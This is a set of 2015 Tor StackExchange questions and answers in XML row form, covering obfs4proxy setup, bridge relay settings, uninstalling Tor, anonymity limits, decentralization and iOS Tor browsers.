  <row Id="8625" PostTypeId="1" CreationDate="2015-09-09T00:54:57.780" Score="6" ViewCount="3667" Body="&lt;p&gt;Under WIN7 platform, when I start tor browser, there is a job running in taskmanager named `obfs4proxy.exe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i start it through command-line since I don't need tor browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I can run &lt;code&gt;tor.exe&lt;/code&gt; from command-line, so now I need &lt;code&gt;obfsproxy.exe&lt;/code&gt; to run, but when I run it in cmd line, it always says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;obfs4proxy - must be run as a managed transport.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone can help me?&lt;/p&gt;&#xA;" OwnerUserId="9321" LastEditorUserId="8197" LastEditDate="2015-09-09T10:27:03.800" LastActivityDate="2016-02-06T13:07:25.367" Title="How can I start obfs4proxy.exe without starting Tor Browser?" Tags="|configuration|windows|obfsproxy|obfs4|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8626" PostTypeId="2" ParentId="8625" CreationDate="2015-09-09T08:08:23.930" Score="3" Body="&lt;p&gt;I have solved this problem. Under Windows 7, the absolute path must be used for the obfs4proxy configuration in torrc-default; the relative path for obfs4proxy plugin doesn't work!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## obfs4proxy configuration&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,scramblesuit exec E:\Tor Browser\Browser\TorBrowser\Tor\PluggableTransports\obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9321" LastEditorUserId="71" LastEditDate="2015-09-09T10:29:27.643" LastActivityDate="2015-09-09T10:29:27.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8628" PostTypeId="1" CreationDate="2015-09-09T13:19:11.430" Score="0" ViewCount="91" Body="&lt;p&gt;If I use search engines like Google (within Tor) and visit sites that come up in the search results, will those sites know that I visited them? Will they have my IP or personal information? Or will my information be anonymous? I want to protect myself, because in the past, a hacker/troll got my IP. I performed a search for a project I was working on for school. I clicked on the first result and was connected to an IRC channel. The owner of the channel began harassing me and my husband by sending us death threats, all because I accidentally ended up in his chatroom. I don't want this to happen ever again. Will using Tor protect me and my identity from people like this in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to add this information in via editing, because I don't have enough points to comment yet. The threats received were via the IRC channel, email and phone. He threatened to kill me and my husband if I ever joined his chatroom again. Then he called my husband's work pretending to be his father. He said that he needed to know my husband's schedule because he was picking him up at work. My husband's father lives across the country. Then the guy emailed me letting me know that he was the one who called my husband's work. We even filed reports with the police and FBI. The police said that they wouldn't actually do anything about it because they had real crimes to deal with like B&amp;amp;E's. These are reasons why I want to be safe online. Will Tor protect my information? If I use a search engine and click on one of the results, will my information be completely anonymous if I visit that site using Tor?&lt;/p&gt;&#xA;" OwnerUserId="9344" LastEditorUserId="9345" LastEditDate="2015-09-13T12:41:29.847" LastActivityDate="2015-09-13T12:41:29.847" Title="Will Tor keep my info anonymous?" Tags="|research|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8629" PostTypeId="2" ParentId="8628" CreationDate="2015-09-09T17:22:54.233" Score="1" Body="&lt;p&gt;Tor will hide your IP address from the sites you visit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google will know what &lt;em&gt;someone&lt;/em&gt; searched for and which results they clicked on. But your IP address is hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sites you visit via Google search results will know that &lt;em&gt;someone&lt;/em&gt; came from a Google search and what the search was. But your IP address is hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your search is fairly unique, and you've dome the same search 'unprotected' in the past, they might be able to correlate.&lt;br&gt;&#xA;Tor will not help you if your computer is compromised.  &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-09T17:22:54.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8630" PostTypeId="2" ParentId="4045" CreationDate="2015-09-09T17:51:42.353" Score="0" Body="&lt;p&gt;I assume by &quot;safe websites that starts in Tor&quot; you mean the &lt;code&gt;.onion&lt;/code&gt; sites. If that is the case there are several 'directory' websites that lists the links to different hidden services and .onion deep web links, for example, &lt;a href=&quot;http://thehiddenwiki.org/&quot; rel=&quot;nofollow&quot;&gt;Hidden Wiki&lt;/a&gt; and &lt;a href=&quot;https://dirnxxdraygbifgc.onion.to/&quot; rel=&quot;nofollow&quot;&gt;OnionDir&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-09T17:51:42.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8631" PostTypeId="2" ParentId="3664" CreationDate="2015-09-09T18:26:15.603" Score="3" Body="&lt;p&gt;By definition bridge relays are Tor relays that aren't listed in the main Tor directory. So if you set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will cause your relay to not publish anywhere. This could be&#xA;  useful for private bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;PublishServerDescriptor bridge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;your relay descriptor will be publised to the bridge authorities rather than to the default authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UpdateBridgesFromAuthority 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor will try querying the bridge authority first for bridges where Tor knows a digest (if Tor only knows an IP address and ORPort, then the only option is a direct query). If it is not set, then the bridge descriptors will be fetched by going directly to the bridge and asking for &lt;code&gt;/tor/server/authority&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of Tor 0.2.0.10-alpha, if the user attempts to fetch a descriptor&#xA;  from the bridge authority and it returns a 404 not found, the user&#xA;  will automatically fall back to trying a direct query. Therefore it is&#xA;  recommended that bridge users always set &lt;code&gt;UpdateBridgesFromAuthority&lt;/code&gt;,&#xA;  since at worst it will delay their fetches a little bit and notify the&#xA;  bridge authority of the identity fingerprint (but not location)of&#xA;  their intended bridges.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will find more information in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/attic/bridges-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor bridges specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-09T18:26:15.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8632" PostTypeId="2" ParentId="8600" CreationDate="2015-09-10T01:21:34.370" Score="0" Body="&lt;p&gt;Tor and Claws together are &lt;strong&gt;not&lt;/strong&gt; sufficient for anonymous e-mail.  Here's why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Claws mail is included in Tails because many people like the convenience of having a mail client. Tails allows you to save mail from Claws in the persistent volume (on USB sticks) &lt;a href=&quot;https://tails.boum.org/doc/anonymous_internet/claws_mail/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/anonymous_internet/claws_mail/index.en.html&lt;/a&gt; which is quite handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However a mail client alone does not provide any anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails is supposed to send all traffic over the Tor network by default and because, like HTTP, SMTP can and most often does use TCP on the transport layer it should be fairly simple to send traffic from Claws through the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not solve the problem of sending anonymous email though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all you would need to create an anonymous email account anonymously (on Tor) and if you want to use Claws on Tails you can link your new email account to Claws. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you connect to an email account that is already associated with your real identity or ip address using Claws on Tails the best you can hope to achieve is to hide your location while you are sending emails)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no point going to these lengths if you are unable to convince your friends and family to (at the very least) create their own anonymous email accounts and always communicate with your anonymous email account from theirs. This is so that you can't be deanonymized by simply checking who you are talking to (in this case the metadata alone could be enough to reveal your true identity). Of course if the content of your emails could also be enough to reveal your identity, the emails would have to be encrypted too (PGP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no simple solution to anonymous communication over email and starting down the path of secure/anonymous communications only to get quickly deanonymized will just draw attention to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not find it necessary or achievable to go to at least the lengths described above then you really only have one sensible option, which is to use a large, common email provider on the clear net and avoid putting your whole life into an email message. This will give you the best chance of blending in with the masses and getting ignored by snoops. In my honest opinion 'snubbing the snoops' &lt;em&gt;just because&lt;/em&gt; doesn't do anyone any favors.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7011" LastEditDate="2015-09-21T00:02:48.497" LastActivityDate="2015-09-21T00:02:48.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8633" PostTypeId="2" ParentId="8600" CreationDate="2015-09-10T12:07:38.550" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally, how can they reply without going to my ISP? which would&#xA;  identify me again. I can set up an e-mail server, but without a&#xA;  hostname or IP address, no one can talk to it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even if you ran your own mail server in the basement, your connection to the outside world would still be via an ISP. The big ISPs - or, rather, the telcomms - are the companies that own the wires. Regardless of how you look at it, and how neutral you think the internet should be, it basically comes down to somebody owning the hardware and infrastructure (and having spent lots of money to implement it). This is also what makes &lt;a href=&quot;https://blog.torproject.org/category/tags/traffic-correlation&quot; rel=&quot;nofollow&quot;&gt;traffic correlation attacks&lt;/a&gt; possible in the larger &lt;a href=&quot;https://en.wikipedia.org/wiki/Autonomous_system_(Internet)&quot; rel=&quot;nofollow&quot;&gt;autonomous systems&lt;/a&gt;: an ISP can own enough of the network to look at both where your traffic enters and exits the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to really run without an ISP you're into the realms of becoming your &lt;em&gt;own&lt;/em&gt; ISP, obtaining a block of IP addresses from IANA (or from a larger ISP), and doing a host of other complicated things. There's an interesting discussion on ISPs/GSPs here: &lt;a href=&quot;http://www.techrepublic.com/forums/questions/theoretical-internet-without-isp/&quot; rel=&quot;nofollow&quot;&gt;http://www.techrepublic.com/forums/questions/theoretical-internet-without-isp/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-09-10T12:07:38.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8634" PostTypeId="1" CreationDate="2015-09-10T12:10:05.667" Score="0" ViewCount="1214" Body="&lt;p&gt;I installed Tor on a centOS server by executing this command: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#yum install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now how should I remove it? What command should I execute to completely remove Tor? &lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="350" LastEditDate="2015-09-10T13:51:31.303" LastActivityDate="2015-11-16T06:21:53.403" Title="how to uninstall TOR from centOS?" Tags="|onion-routing|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8635" PostTypeId="2" ParentId="8634" CreationDate="2015-09-10T12:44:30.697" Score="1" Body="&lt;p&gt;You can completely remove the Tor package by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum remove tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;man yum&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;remove or erase &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Are used to remove the specified packages from the system as well as&#xA;  removing any packages which depend on the package being removed.&#xA;  remove operates on groups, files, provides and filelists just like the&#xA;  &quot;install&quot; command&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="5445" LastEditDate="2015-09-17T05:50:18.713" LastActivityDate="2015-09-17T05:50:18.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8636" PostTypeId="1" AcceptedAnswerId="8658" CreationDate="2015-09-10T13:46:16.237" Score="5" ViewCount="6016" Body="&lt;p&gt;In the episode 1x01 of &lt;em&gt;Mr. Robot&lt;/em&gt;, Elliot confronts the owner of &lt;em&gt;Ron's Coffee&lt;/em&gt;. He basically states that the man is hosting illegal (child pornography) content served in the form of a website that the customers of his coffee shops can access from the shops' Internet connections. Elliot also briefly describes the owner's use of “Tor networking to keep the servers anonymous”. So, the details are not known, but we can imagine that the guy set his website up as a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What bugs me is the moment when Elliot states that he could trace traffic between the coffee shop and the illegal servers, saying: “Whoever is in control of the exit nodes is also in control of the traffic, which makes me the one in control”, implying that he runs one or more Tor exit nodes himself, and that he managed to do either or both of those 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;somehow “forcing” the traffic from the coffee shop to go through the exit node(s) he runs;&lt;/li&gt;&#xA;&lt;li&gt;monitoring packets going through the exit node(s) he runs and tracing them back to their original senders.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Either of those is impossible if I get Tor's innards correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, as far as my understanding of Tor goes, it's not possible to trace a user from the exit node back to his/her origin address, and that's precisely the point of onion routing. The only origin address you can get at the exit node is the address of the direct previous node in the chain. So even if you control an exit node, you can't tell who the incoming packets really belong to. You'd have to control a pretty heavy bunch of nodes for the routing of a user to hypothetically pass only through your nodes from entry to exit. That wouldn't even be as simple as that, because the selection and order of the nodes in the chain are random, aren't they? So you'd have to own a really big number of nodes in order to get only a very, very slim chance to trace a user from A to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is Elliot's hack really technically feasible the way he says he did it? Couldn't it be some kind of counter-propaganda to undermine Tor and its efficiency (especially given that anti-Tor proponents' main argument is that Tor can be used to cover up criminal activities)? Or maybe this is just some kind of simplification for dramatization's sake (which would be a little lame, even though I guess most of the show's viewers are not tech-savvy)? Or maybe I'm missing something about Tor's general flow of operation?&lt;/p&gt;&#xA;" OwnerUserId="9353" LastEditorUserId="9353" LastEditDate="2015-09-14T09:08:34.990" LastActivityDate="2020-05-16T15:42:54.973" Title="Is the “Ron's Coffee” Tor-related hack technically possible in episode 1x01 of Mr. Robot?" Tags="|exit-relays|traffic-analysis|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8637" PostTypeId="2" ParentId="7444" CreationDate="2015-09-10T14:22:23.423" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Alice talk to OR2 directly to extend the node or it talks to OR2&#xA;  through OR1?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alice talk to OR2 through OR1( the entry node). You can see from the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IdbBt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IdbBt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extend to a node &lt;em&gt;n&lt;/em&gt;, a &lt;em&gt;relay extend cell&lt;/em&gt; should be initiated by Alice through the entry node (OR1) which is propagated up to the &lt;em&gt;n-1&lt;/em&gt; node, which sends a &lt;em&gt;create cell&lt;/em&gt; to &lt;em&gt;n&lt;/em&gt;, telling to extend the circuit. Once &lt;em&gt;n&lt;/em&gt; sends the &lt;em&gt;created cell&lt;/em&gt; to &lt;em&gt;n-1&lt;/em&gt;, it propagates the &lt;em&gt;relay extended cell&lt;/em&gt; back to Alice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://file:///home/karthik/Downloads/ADA465464.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt; reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To construct a relay cell addressed to a given OR, Alice assigns the&#xA;  digest, and then iteratively encrypts the cell payload (that is, the&#xA;  relay header and payload) with the symmetric key of each hop up to&#xA;  that OR. Because the digest is encrypted to a different value at each&#xA;  step, only at the targeted OR will it have a meaningful value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Path Specification&lt;/a&gt; and Section 2 of &lt;a href=&quot;http://www0.cs.ucl.ac.uk/staff/G.Danezis/students/Huhta14-UCL-Msc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; thesis has some really useful information.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-10T14:22:23.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8638" PostTypeId="1" AcceptedAnswerId="8639" CreationDate="2015-09-10T19:13:28.007" Score="6" ViewCount="1952" Body="&lt;p&gt;I'm wondering since a long time why the developers of Tor do not have already make Tor a truly P2P network where the &lt;strong&gt;entire&lt;/strong&gt; Tor network would be 100% decentralized, only running be voluntary and where nobody could take the network down or interfere with it, even versus a big adversary (eg : the United States)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example of one attack that I remember because of the fact that tor is not a fully-decentralized net : &lt;a href=&quot;https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network&quot; rel=&quot;noreferrer&quot;&gt;https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this at least considered in one future version ?&lt;/p&gt;&#xA;" OwnerUserId="9356" LastActivityDate="2021-01-26T07:34:50.443" Title="Why Tor is not already a decentralized network?" Tags="|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8639" PostTypeId="2" ParentId="8638" CreationDate="2015-09-10T20:51:00.523" Score="3" Body="&lt;p&gt;The answer would be simple: Decentralization is a difficult problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you read &lt;a href=&quot;http://arxiv.org/pdf/1404.4818.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The fifteen year struggle of decentralizing&#xA;privacy-enhancing technology&lt;/a&gt;. In this paper the authors list 4 major problems that needs to be addressed for decentralization:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Incentives in decentralized systems&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Most people take up bandwidth more than they donate and proposals to introduce incentives into Tor have failed. . If one would also have to build an incentive system into a decentralized system, there should be a way to manage the ratings of each client without allowing falsification.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;NAT traversal&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A truly decentralized system requires the participating nodes to have direct connection to each other. But because IPv4 addresses are getting scarce, ISP often tend to put more subscribers in a single network address suing carrier-grade NAT.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Bootstrapping new nodes&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If in a decentralized system one client wants to become a bridge or relay, there is no central directory server to tell a new node where to locate neighbours.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Key exchange&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With a decentralized model, for a secure communication users will have to share the keys directly with each other making it vulnerable to man-in-the-middle attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also give a comparison of decentralized peer-to-peer overlay networks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/07bZ5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/07bZ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is interesting to read their conclusion:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;..we conclude that there is no fully decentralized system capable of&#xA;  offering Tor anonymity today. For the first time we document in&#xA;  detail, the amount of wasted effort and pain spent in&#xA;  decentralization. The current generation of technology lead by Tor&#xA;  still has room for improvement, while the next generation is only just&#xA;  appearing on the horizon. The major problems involving&#xA;  decentralization are excruciatingly difficult to overcome. None of the&#xA;  projects have succeeded in making the internet secure and private.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-10T20:51:00.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8642" PostTypeId="2" ParentId="7596" CreationDate="2015-09-11T14:42:56.880" Score="2" Body="&lt;p&gt;I think this comes down to the level of trust you have - or the amount of confidence you require - in the methods you're using to obtain what you hope is an authentic binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different people will have different thresholds; some will download Tails without even attempting to &lt;a href=&quot;https://tails.boum.org/download/index.en.html#index3h1&quot; rel=&quot;nofollow&quot;&gt;check the signature&lt;/a&gt;, others will feel they need to be more diligent, and follow the further &lt;a href=&quot;https://tails.boum.org/doc/get/trusting_tails_signing_key/index.en.html&quot; rel=&quot;nofollow&quot;&gt;recommendations for trusting the signing key&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you could have been a victim of MITM when downloading the Tails binary. Yes, you could have been a victim when downloading the signing key. And yes, you could be a victim if you then attempt to follow the additional suggestions for trusting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the possibly lesser likelihood of being a victim all three times make you more confident that the binary and key are genuine? That's for you to decide. Is there a perfect solution? Probably not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://tails.boum.org/doc/get/trusting_tails_signing_key/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Trusting Tails Signing Key&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We will present you three techniques from the easiest to the safest.&#xA;  &lt;strong&gt;Again, none of them is a perfect and magic solution&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-09-11T14:42:56.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8643" PostTypeId="1" CreationDate="2015-09-11T16:24:17.597" Score="0" ViewCount="55" Body="&lt;p&gt;how to run multiple tor browser 5.0.2&#xA;Pleace help me thak you for ancwer&lt;/p&gt;&#xA;" OwnerUserId="9363" LastEditorUserId="9363" LastEditDate="2015-09-12T09:23:48.753" LastActivityDate="2015-09-12T09:23:48.753" Title="How to run multiple tor browser 5.0.2 how it is different 4.5?" Tags="|tor-browser-bundle|configuration|protocol|network-configuration|" AnswerCount="0" CommentCount="3" ClosedDate="2015-09-11T17:22:38.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="8644" PostTypeId="2" ParentId="4297" CreationDate="2015-09-11T19:22:35.783" Score="1" Body="&lt;p&gt;It is already answered here and it worked for me.&#xA;&lt;a href=&quot;https://askubuntu.com/questions/449824/cant-run-vidalia-due-to-an-apparmor-policy-error&quot;&gt;https://askubuntu.com/questions/449824/cant-run-vidalia-due-to-an-apparmor-policy-error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it works:&#xA; vidalia needs permission or access to something that apparmor doesn't allow.&#xA; Here a site which explain the CMD: &lt;a href=&quot;http://cyberciti.biz/faq/ubuntu-linux-howto-disable-apparmor-commands&quot; rel=&quot;nofollow noreferrer&quot;&gt;cyberciti.biz/faq/ubuntu-linux-howto-disable-apparmor-commands&lt;/a&gt; before running your workaround check via $ sudo apparmor_status would be a good idea and confirm afterwards that it's disabled&lt;/p&gt;&#xA;" OwnerUserId="9364" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:03.123" LastActivityDate="2015-09-11T19:22:35.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8646" PostTypeId="1" CreationDate="2015-09-12T13:33:29.900" Score="1" ViewCount="3867" Body="&lt;p&gt;This is kind of a noob question but I would appreciate some response nevertheless. I have been reading a lot about Tor and Tails recently but I am still confused on what does what and the difference between both of them, so I would like to know what the difference is between TOR and TAILS. &lt;/p&gt;&#xA;" OwnerUserId="9367" LastEditorUserId="88" LastEditDate="2015-09-14T19:30:39.037" LastActivityDate="2015-09-14T19:30:39.037" Title="What is the difference between Tor and Tails" Tags="|tor-browser-bundle|anonymity|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8647" PostTypeId="2" ParentId="8646" CreationDate="2015-09-12T16:34:18.347" Score="0" Body="&lt;p&gt;Tor (not TOR) is like your router at home. To get to the internet, you connect to your router. Tails is an operating system, like Windows. The interaction between Tor and Tails is that Tails is configured to use Tor by default.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-09-12T16:34:18.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8649" PostTypeId="2" ParentId="4297" CreationDate="2015-09-12T16:44:16.593" Score="1" Body="&lt;p&gt;STOP. Do not use vidalia. It is no longer maintained or supported by TorProject and have been deprecated for a long time. Using vidalia poses unknown risks to you and if you are serious about preserving your anonymity, you should not use vidalia. Current versions of the Tor Browser Bundle show you circuit information just like vidalia did.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-09-12T16:44:16.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8650" PostTypeId="2" ParentId="1893" CreationDate="2015-09-12T20:27:10.800" Score="-1" Body="&lt;p&gt;There are several good TOR browsers for iOS. These are not supported or endorsed by the TOR organisation, but they include a copy of the open source TOR code with the iOS UIWebview component:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;https://itunes.apple.com/us/app/safe-browser-secure-secret/id966483488?ls=1&amp;amp;mt=8&quot; rel=&quot;nofollow&quot;&gt;Safe Browser Secure&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ebfsecure.com/safe-browser&quot; rel=&quot;nofollow&quot;&gt;Safe Browser Secure&lt;/a&gt; is a free IOS/IPhone/IPad browser that has a very stable TOR implementation to allow you to browse normal web sites anonymously and access .onion sites. &#xA;It also supports TOR bridges, and is the only iOS TOR browser to support &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt; (obfs2, obfs3 and ScrambleSuit), crucial if your government or ISP blocks TOR, like the &lt;a href=&quot;https://en.wikipedia.org/wiki/Great_Firewall&quot; rel=&quot;nofollow&quot;&gt;Great Firewall of China&lt;/a&gt;. &lt;strong&gt;Disclaimer&lt;/strong&gt;: marcelleh profits from selling this app.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;https://mike.tig.as/onionbrowser/&quot; rel=&quot;nofollow&quot;&gt;Onion Browser&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A minimal web browser that encrypts and tunnels web traffic through the Tor onion router network and provides other tools to help browse the internet while maintaining privacy.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;https://itunes.apple.com/gb/app/red-onion-tor-powered-web/id829739720?mt=8&quot; rel=&quot;nofollow&quot;&gt;Red Onion&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A full-fledged Tor-powered browser that offers you a REAL solution, with multiple tabs, customizable start screen, and much much more. &lt;/p&gt;&#xA;" OwnerUserId="7593" LastEditorUserId="12737" LastEditDate="2016-07-27T09:11:52.203" LastActivityDate="2016-07-27T09:11:52.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
